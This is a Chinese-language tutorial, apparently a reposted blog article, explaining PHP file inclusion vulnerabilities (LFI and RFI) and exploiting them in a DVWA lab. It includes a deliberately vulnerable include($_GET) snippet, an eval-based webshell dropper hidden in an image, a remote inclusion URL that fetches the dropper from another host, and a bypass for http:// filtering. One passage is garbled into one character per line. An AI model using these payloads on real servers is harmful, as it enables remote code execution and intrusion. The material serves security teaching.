赞
踩
开发人员通常会把重复可用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般称为包含。攻击者利用这种包含的特性,加上应用本身对文件控制不严,对include进来的文件不可控,最终造成了攻击者进行恶意文件包含。
1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行。
4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。
(1)本地文件包含 :LFI
当被包含的文件在服务器本地时,就叫本地文件包含。
(2)远程文件包含:RFI
当被包含的文件再远程服务器时,就叫远程文件包含。相对来说远程文件包含更容易进行攻击,但是前提条件是需要开启php.ini 中的allow_url_fopen 和 allow_url_include来允许远程文件包含。
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
示例代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
G
E
T
[
′
f
i
l
e
n
a
m
e
′
]
参
数
开
发
者
没
有
经
过
严
格
的
过
滤
,
直
接
带
入
了
i
n
c
l
u
d
e
的
函
数
,
攻
击
者
可
以
修
改
_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改
GET[′filename′]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改_GET[‘filename’]的值,执行非预期的操作。
举例:
正常情况下,我们是访问index.php这个主页,但是我们可以通过以下方式进行文件包含
使用上图的方式,主页就包含y.txt的代码
A:低安全级别文件包含漏洞**
两个图中的page是对应的,page后面的文件里可以是一句话木马。
2、
执行上图中的1,表示会执行本地包含的passwd文件,执行上图中的2表示会远程执行romote sever上的一句话,这句话的目的是生成一句话木马shell.php文件。
具体实现方式见下面所示:
a:制作一句话木马,如yangge.jpg
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>
b:上传图片木马文件
c:执行文件包含并生成后门
d:通过菜刀连接webshell
制作一句话木马的方式:
(1)将dzq2.jpg图片文件拖到edjpgcpm.exe文件里面
(2)按照图片编辑一句话木马
(3)将带有木马的图片上传上去
(4)浏览器执行已经上传的图片
(5)步骤4执行完成以后会生成一个shell20.php的文件,然后就可以用菜刀工具打开进行操作了
3、远程文件包含
(1)得到一个远程服务器192.168.106.177,在服务器上创建一个文件,文件名:yangge.txt,文件内容
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>
(2)在本地打开:http://192.168.106.134/dvwa/valnerablities/fi/?page=http://192.168.106.177/yangge.txt
中安全级别文件包含漏洞
1.源码示例
这种限制对本地文件包含是没有影响的。限制的目的是将url中的http://去掉,禁止了远程文件包含,所以按照上面低安全级别的步骤进行操作是不能达到目的的。但是我们可以绕过这个限制:
2.绕过方式
(1)http://192.168.106.134/dvwa/valnerablities/fi/page=httphttp://: //192.168.106.177/yangge.txt
这里替换到一个http://以后还有一个http://
以此类推,我们可以使用hthttp://tp:// http://http://等方式
高安全级别漏洞
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。